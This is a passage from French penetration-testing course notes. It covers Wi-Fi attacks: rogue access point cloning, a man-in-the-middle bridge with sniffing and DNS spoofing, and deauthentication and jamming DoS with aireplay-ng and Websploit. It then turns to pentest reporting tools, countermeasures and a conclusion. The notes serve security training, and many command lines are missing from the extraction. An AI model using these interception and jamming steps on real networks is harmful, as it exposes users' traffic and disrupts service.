163
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
POUR DE VRAI :
Au vu de la longueur du test (plusieurs dizaines d'heure), je n'ai pas laissé tourner l'outil "reaver" mais
normalement le résultat devrait être trouvé à la fin.
Le clonage de point d'accès est l'une des attaques les plus intéressante. Elle consiste à surveiller les
informations transmises par l'utilisateur et peut aller jusqu'à l'accès à des informations
confidentielles en utilisation l'attaque Man In The Middle [MITM] (interception et redirection de
trafic).
✓ SET
✓ Websploit
✓ Gerix
✓ Easy-creds
✓ Airebase-ng (Nous allons développer cet outil dans les prochaines parties)
Pour la nième fois, je rappelle de notre carte wifi doit être en mode monitor à l'aide de la commande
"airmon-ng" et au besoin, pensez à killer les processus liés à votre carte à l'aide de la commande : $
airmon-ng check kill
A partir de ce moment, vous pouvez vérifier qu'un nouveau réseau sans fil est disponible et attendre
qu'un client vienne se connecter.
Nous allons maintenant aller plus loin en clonage directement un réseau wifi existant.
# Lancement du scan pour visualiser les points d'accès disponible aux alentours
$ airodump-ng NomDeLInterfaceMonitor
164
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
A partir de cette étape, vous pouvez associer l'un de vos appareils au SSID cloné.
Nous voyons qu'une fois, un client connecter l'attaque "Caffe Latte" est lancé.
POUR DE VRAI :
Au vu de la longueur du test, je n'ai pas laissé tourner l'outil "aircrack-ng" mais normalement le
21/11/2019
165
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
PRE-REQUIS :
Pour ce nouveau chapitre, nous aurons besoin d'installer le paquet "bridge-utils" pour utiliser la
commande "brctl". Pour cela, nous devons la commande suivante :
Il est important de savoir que, lorsque nous avons créé notre réseau avec la commande "airebase-
ng", une interface intermédiaire, appelé ici at0, est créée.
166
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Activation du forwarding
$ echo 1 > /proc/sys/net/ipv4/ip_forward
Il ne nous reste plus qu'à nous connecter à notre "faux" point d'accès.
On peut observer, sur notre client, obtention d'une adresse IP de façon automatique
La collecte de données peut donc commencer. Utilisons, par exemple, l'outil "Wireshark" pour sniffer
les trames de notre bridge : $ wireshark
Nous voyons sur l'image ci-dessous que notre client tente d'accéder au site alphorm.com.
Pour aller plus loin, nous pouvons utiliser l'attaque "DNS Spoofing", sur notre interface mitm-bridge,
pour collecter encore plus d'information : $ dnsspoof NomDuPont
21/11/2019
167
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour conclure, cette attaque est très dévastatrice et nous montrer le danger de se connecter à des
réseaux sans fil dit public. L'utilisation d'un VPN sur ce type de réseau est, plus que, recommander !
Nous avons déjà présenté l'attaque par déni de service mais cette partie développera cette attaque
sur les réseaux sans fil.
Les réseaux wifi sont extrêmement sensibles aux DoS et s'ajoute à cela, la difficulté de localiser
l'attaquant. Leur but étant de faire "crasher" le réseau.
Dans ce chapitre, nous allons créer un DoS en floodant, le réseau avec des paquets d'authenfication.
11.9.1 Aireplay-ng
NDLR :
Lors de cette dernière commande, je me suis retrouvé avec l'erreur " wlan0mon is on channel 3, but
the AP uses channel 6".
J'ai trouvé la solution (source : https://forum.aircrack-ng.org/index.php?topic=2114.0) qui consiste à
forcer l'utilisation d'un canal par l'interface monitor :
11.9.2 Websploit
PRE-REQUIS :
21/11/2019
Pour ce nouvel outil dont nous allons avoir besoin devra être installer via la commande suivante :
168
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous allons détailler l'utilisation du module "wifi_jammer", mais la procédure est identique pour les
autres.
# Sélection de l'interface
$ set interfaces NomDeLInterface
# Sélection du SSID
$ set essid NomDuSSIDDuPointDAcces
# Lancement de l'attaque
$ run
21/11/2019
169
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
Le paramètre "interface" est limité en taille et n'accepte pas les interfaces, du style "wlan0mon".
Il faut donc penser à arrêter le mode monitor sur notre carte wifi pour y retrouver un nom d'interface
plus court, par exemple, "wlan0". Pour faire celui, exécuter la commande suivante :
12 Reporting
Le reporting est une partie très importante. En effet, il reflète, pour votre hiérarchie, vos
collaborateurs ou tout simplement votre client, l'état du système d'information de l'infrastructure,
des applications, … sur son niveau de sécurité. Ce rapport permet, aux développeurs ou à vous-
même de régler les problèmes de sécurité, d'une façon organisée et rapide.
21/11/2019
170
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous allons donc traiter maintenant le sujet de l'écriture des rapports. En aucun cas, ce qui suit doit
être pris pour une référence "légal". En tant que pentester, vous avez un rôle d'auditeur, ce qui
signifie que vous devez rapporter les faits et solutions d'un système, réseau, infrastructure, …
La valeur de votre travail se fera à travers ce rapport qui sera un élément clé pour la remontée
d'information au niveau décisionnel.
Il existe une normalisation dans l'édition d'un rapport comme, par exemple, le MLA [the Modern
Language Association of america style]
Le reporting peut être considéré comme un art car il n'est pas toujours évidant de présenter un
rapport de sécurité clair et détaillé sur ce que l'on a trouvé.
La façon dont vous présenterez votre travail définira vos perceptives sachant qu'il existe des styles
spécialisés en audit. L'utilisation de COBIT ou encore ITIL comme référentiel de bonnes pratiques
d'audit informatique est un bon moyen d'arriver à un résultat très complet.
Ce rapport va nous permettre d'avoir un historique (traçabilité) et de montrer par la suite la gravité
de la situation, les façons de les solutionner mais surtout l'impact au niveau de l'infrastructure.
Quelques points utiles tel que : les lignes de base, les normes à suivre en fonction des types
d'établissement audité ou encore les lignes directrices nous permettront de présenter un rapport le
plus conformément possible.
Il existe, aussi, des outils, tel que Nessus, Openvas, et bien d'autres, que nous allons voir par la suite,
pour nous aider à établir notre rapport.
➢ Méthodologie SAW
La méthodologie SAW se centre sur la politique de sécurité des standards et les bonnes pratiques.
Le premier point à suivre, concerne les lignes de référence, incluant la cartographie et la découverte
du réseau.
Le second point, porte sur les faiblesses sécuritaires, regroupant l'audit et l'évaluation des menaces.
Le troisième point concernant l'exposition aux risques, dont le but est de verrouiller et sécuriser les
accès du réseau.
Le dernière point, la remédiation, qui inclut l'évaluation du risque, la proposition de solution qui se
lie à une veille constante (formation) aux différents services de l'entreprise concernée. Cette partie
de veille (sensibilisation aux failles) est souvent négligée et reste la plus grande faille car il n'hésite
pas de patch pour la faille humaine.
Cette méthodologie SAW est suivie par la plupart des rapports en complément du PDCA [Plan Do
check Act] : https://www.webstrat.fr/blog/pdca-plan-do-check-act-qualite-4-etapes
21/11/2019
171
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ Executive report
Cela consiste à écrire les grandes lignes du travail qui va être réalisé pour atteindre le but fixé : détail
des cibles, présentation de l'architecture mais aussi évaluation du travail, du risque, …
➢ Activity report
Rapport basé sur un modèle d'arborescence, contenant tous les exploits exécutés (avec capture
d'écran).
➢ Host report
Ce rapport énumère toutes les informations de façon détaillées sur l'hôte, le nombre d'ordinateur
compromis et la moyenne des vulnérabilités exploitées incluant les références C.V.E. [Common
Vulnerabilities and Exposures]
➢ Vulnerability report
Il s'agit d'un rapport détaillé des exploits exécutés avec succès. Il contient, par ailleurs, les niveaux de
criticité sur la cible.
Il s'agit d'un audit complet sur chaque site, généralement édité avec des templates (maquette). On y
retrouve le descriptif de la faille, la référence C.V.E., l'exploit utilisé avec capture d'écran, les résultats
associés jusqu'aux détails du risque de cette vulnérabilité.
172
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ User report
Ce rapport est orienté plutôt Client-Side [coté client] et répond à la question Quoi ? [Qu'est-ce que
l'on fait], Quand ? [Quand est ce que l'on est en train de le faire], Qui ? [Qui est impliquer dans notre
action].
21/11/2019
173
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour nous permettre de générer des rapports de façon simple et rapide, nous allons utiliser les outils
suivants :
❖ Dradis
Dradis est un framework open source, permettant un partage efficace d'informations. Cette
application web indépendante met à disposition un espace de partage centralisé [repository].
Il permet de générer des rapports de manière simple, de gérer les pièces jointes, et s'intègre avec des
outils et systèmes existant via des plugins serveur tel que bursuite, nmap, ou encore metasploit.
POUR DE VRAI :
Impossible pour moi d'accès à la page de "Dradis", j'ai désinstallé, réinstaller, mise à jour et même
fait une réinstallation de ma machine virtuelle Kali, il ne voulait rien savoir. Mais en partant de ma
machine virtuelle Debian, j'ai réussi à le lancer. Voici comme j'ai procédé (installation en root) :
# lancement de l'installation
$ ruby bin/setup
Pour aller plus loin (création du service, …), voici la source que j'ai utilisé :
https://discuss.dradisframework.org/t/how-to-install-dradis-ce-3-on-ubuntu-server-16-04/342
174
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous pouvons maintenant créer un nœud [node] et au besoin des sous-nœuds [subnode] (via le
bouton ) pour avoir une arborescence lisible de notre audit.
Il est possible, aussi, d'importer un résultat d'un autre outil. Nous allons faire le test avec un fichier
de résultat de nmap.
175
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
POUR DE VRAI :
Je n'ai vraiment pas de chance, il semblerait que le fichier généré par "nmap" ne correspond pas à un
template déjà présent. Pourtant le dossier nmap dans dradis-ce/templates/plugins/nmap existe bien
et à bien du contenu.
❖ KeepNote
KeepNote, anciennement TakeNote, est un logiciel libre, multiplateforme permettant de prendre des
notes. Il est développé en Python et son interface repose sur GTK+ mail malheureusement il ne
semble plus mis à jour.
❖ Maltego CaseFile
Directement déviré de l'outil "Maltego", il va nous permettre d'effectuer des analyses en ligne mais
aussi hors-ligne. Grâce à lui, notre rapport va pouvoir être agrémenter de schéma d'analyse,
graphique, … L'importation de fichier externe du type CSV, XLS ou encore XLSX va nous permettre de
visualiser rapidement les informations.
Pour utiliser cet outil, lancez directement la commande suivante : $ maltego et sélectionner
"Maltego CaseFile"
Il ne nous reste plus qu'à créer notre graphe à notre façon : utilisateurs, groupes, adresses mail, … en
pensant bien à renseigner le maximum d'information : adresse du profil pour un compte Facebook,
ajout de notes, de pièce jointes, … Je vous invite à ouvrir cet exemple complet pour mieux
comprendre : http://www.wirewatcher.net/spyhunter/spyhunter.mtgx
21/11/2019
Pour plus d'info, je vous recommande la formation : Hacking et Sécurité : Acquérir les fondamentaux.
176
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
❖ CutyCapt
CutyCapt est un script libre écrit en C++, nous permettant de faire des screenshots (captures d'écran)
de pages web de façon plus ergonomique.
21/11/2019
177
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Il existe une multitude d'option pour CutyCapt, consultable en tapant la commande sans argument.
Une option intéressante est "--user-agent" qui va nous permettre de réaliser une capture en se faisant
passer pour un autre système. Pour cela voilà la commande à exécuter :
Les différents types de User-Agent peuvent se trouver sur internet comme par exemple ici :
http://www.webapps-online.com/online-tools/user-agent-strings/dv/brand125521/samsung-galaxy-
s4
Pour entrer plus en détail dans l'édition d'un rapport, nous pouvons nous aider de cette exemple
fourni par Offensive Security : https://www.offensive-security.com/reports/sample-penetration-
testing-report.pdf
21/11/2019
178
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
179
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
21/11/2019
180
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ Les annexes détaillant chaque type de failles découvertes : criticité, impact, description et
comment y remédier
Pour plus d'information, il existe un site français concernant les tests de pénétration, les protocoles
sécurisés, … : https://clusif.fr/
21/11/2019
181
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
13 Contre-mesures
13.1 Introduction
Ce chapitre va nous permettre de découvrir, à l'aide de Kali, les différences contre-mesures possibles
contre les attaques les plus dévastatrices. Il est important de bien suivre ces instructions pour réduire
les vulnérabilités. En complément, il est important d'instaurer une politique de sécurité des systèmes
d'informations [PSSI] pour maintenir un certain niveau de sécurité.
Il est important de tester vos défenses en continu, suivant vos besoins et le type d'approche
nécessaire : Black Hat / Gray Hat / White Hat.
Les tests peuvent être exécutés sur le système réel bien qu'il soit plus judicieux de le réaliser sur un
snapshot pour les systèmes virtuels.
Il est essentiel d'énumérer les risques possibles et leurs conséquences, et d'en informer, via des
formations par exemple, les différents services de l'entreprise.
Il est important, aussi, de mettre en place une stratégie d'indentification basé sur la roue de Deming
qui est un processus d'amélioration continue : PDCA (plan-do-check-act), consistant à transformer
une idée en action et l'action en connaissance.
Pour nous aider. Il est recommandé d'avoir une baseline, comme un guide de sécurité, qui pourra
suivre les standards [PCI DDS ou encore HIPAA], issues des meilleurs pratiques, comme point de
référence.
La politique de gestion des patches est un point très important, qui fait partie de la veille concernant
la sécurité informatique (nouvelles vulnérabilités, …) et qui consiste à mettre en place, une
méthodologie d'identification lié à des processus.
21/11/2019
182
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Dans notre système, chaque composant aura à sa priorité. Il faut penser SPOF [Single Point Of
Failure] qui souligne un point du système informatique dont le reste est dépendant et dont une
panne entraîne l'arrêt complet du système.
Il est essentiel, d'instaurer une politique de mot de passe en interdisant, impérativement, l'utilisation
de mot de passe triviaux tel que les mots de passe par défaut (exemple : admin/ admin ou encore
admin/1234).
Une bonne politique de mot de passe repose sur un choix contenant tout type de caractère, une
longueur suffisante, autorisation de la casse et avec un délai expiration. Ces directives font permettre
de diminuer, de façon importante, le taux de réussite des attaques de type Brute-Force.
Le mirroring est une technique consistant à cloner son environnement pour le tester.
Il est important, de mettre en place une stratégie de sauvegarde qui dépendra de vos besoins :
fréquence des mises à jour, de la criticité des données, … pour ne pas perdre, du temps, de l'argent,
des ressources.
L'attaque "Man In The Middle" reste une attaque très dangereuse voir la plus dangereuse.
L'utilisation du protocole HTTPS n'empêche, en rien, cette attaque avec des outils tel que SSLstrip. Il
est, tout de même, important de mettre à jour la version SSL/TLS puis de vérifier le protocole HTTPS
en examinant les certificats. Pour permettre d'éviter un bon nombre de problème, l'utilisation d'un
VPN est fortement recommandée. Le standard de sécurisation MACSec a été conçu pour le
chiffrement de la couche 2 (couche MAC de l'IEEE). Il assure la confidentialité et l'intégrité des
données dans un mode sans connexion. Il est normalisé par le groupe de travail IEEE 802.1.
L'utilisation d'une authentification en deux étapes (A2F) permet de valider l'accès à un utilisateur en
autorisant seulement l'authentification à ce dernier après avoir présenté deux preuves d'identité
distinctes. En général, un code à usage unique (OTP [One-Time Password], tokens), qui doit être
renseigné en plus du mot de passe habituel.
13.6 Cookie
Il existe plusieurs attaques au sein des cookies tel que le "cookie hijacking" qui consiste à réutiliser le
cookie d'un client légitime afin de réutiliser son identité. On peut ajouter une nouvelle couche de
sécurité en utilisant le flag "Secure", "HttpOnly" lors de l'utilisation de nos cookies et, bien sûr, en
maintenant à jour SSL/TLS.
21/11/2019
183
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
13.7 Clickjacking
13.8 Forensic
14 Conclusion
Pour conclure, voici le résumé de ce que nous avons appris :
➢ Test de pénétration
Nous avons commencé cette formation par une structuration et un éclaircissement de la notion de
test de pénétration pour vous permettre d'aller dans un sens professionnel.
Cette partie nous a permis de mettre en place l'architecture que nous allons utiliser tout au long de
notre formation : configuration machines virtuelles, configuration du réseau, mise à jour système, …
➢ Identification
Ce point est, souvent, négligé par certains professionnels des audits de sécurité, pourtant sans cette
récolte de l'existant et structuration des zones de recherche, les tests de pénétration peuvent
échouer.
➢ Social Enginerring
Nous avons pu découvrir quelques techniques sur cette faille humaine, basé sur le psychologique /
technique grâce à l'outil SET.
➢ Dénis de service
Nous avons étudié les différentes attaques de DoS à travers différents exemples : utilisation de la
faille XSS pour créer un réseau de botnet et attaquer des cibles.
21/11/2019
➢ Attaque Server-Side
Cette partie nous a permis de détailler les attaques orientées serveur : "bruteforcer" des répertoires,
récupérer les versions des services et en exploiter les vulnérabilités.
184
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ Attaque Client-Side
Dans ce chapitre consacré à l'attaque de la "zone" client (ordinateur, compte utilisateur, …), nous
avons effectué des élévations de privilège.
➢ Attaque Web
Nous avons pu lancer des attaques basées sur des sites web en exploitant des vulnérabilités d'une
façon avancée à l'aide d'outil tel que "sqlmap" pour l'identification, shell XSS, …
Nous avons vu une introduction sur les attaques de réseau sans fil en clonant, par exemple, un point
d'accès ou encore en crackant des clés de sécurité WEP / WPA.
➢ Reporting
On a continué par détailler les techniques de reporting afin de présenter notre travail de façon
structurée au niveau manageriel / décisionnel.
➢ Contre-mesures
On a fini par présenter les contre-mesures, manageriels mais aussi technique, afin d'éviter la plupart
des vulnérabilités que l'on a pu découvrir.
Il ne vous reste plus qu'à mettre en pratique ce que nous avons vu. Pour vous entrainer, je vous
conseille les sites tel que newbieconstest ou encore root-me.
N'hésitez pas, non plus, à approfondir vos connaissances en lisant des ouvrages (favoriser les livres
en anglais, plus nombreux et plus complet).
Nous n'avons vu qu'une partie de la sécurité informatique car ce domaine est très vaste et je vous
invite à vous étendre vos connaissances sur les notions de réseau ou encore sur des langages de
programmation qui viendront compléter vos acquis
Pour continuer à vous perfectionner, le site d'alphorm propose des formations dites expert :
Merci d'avoir suivi ce document ressource sur la formation "Hacking et Sécurité : Maitriser les
21/11/2019
Joan LE DU
185
Hamza KONDAH Joan LE DÛ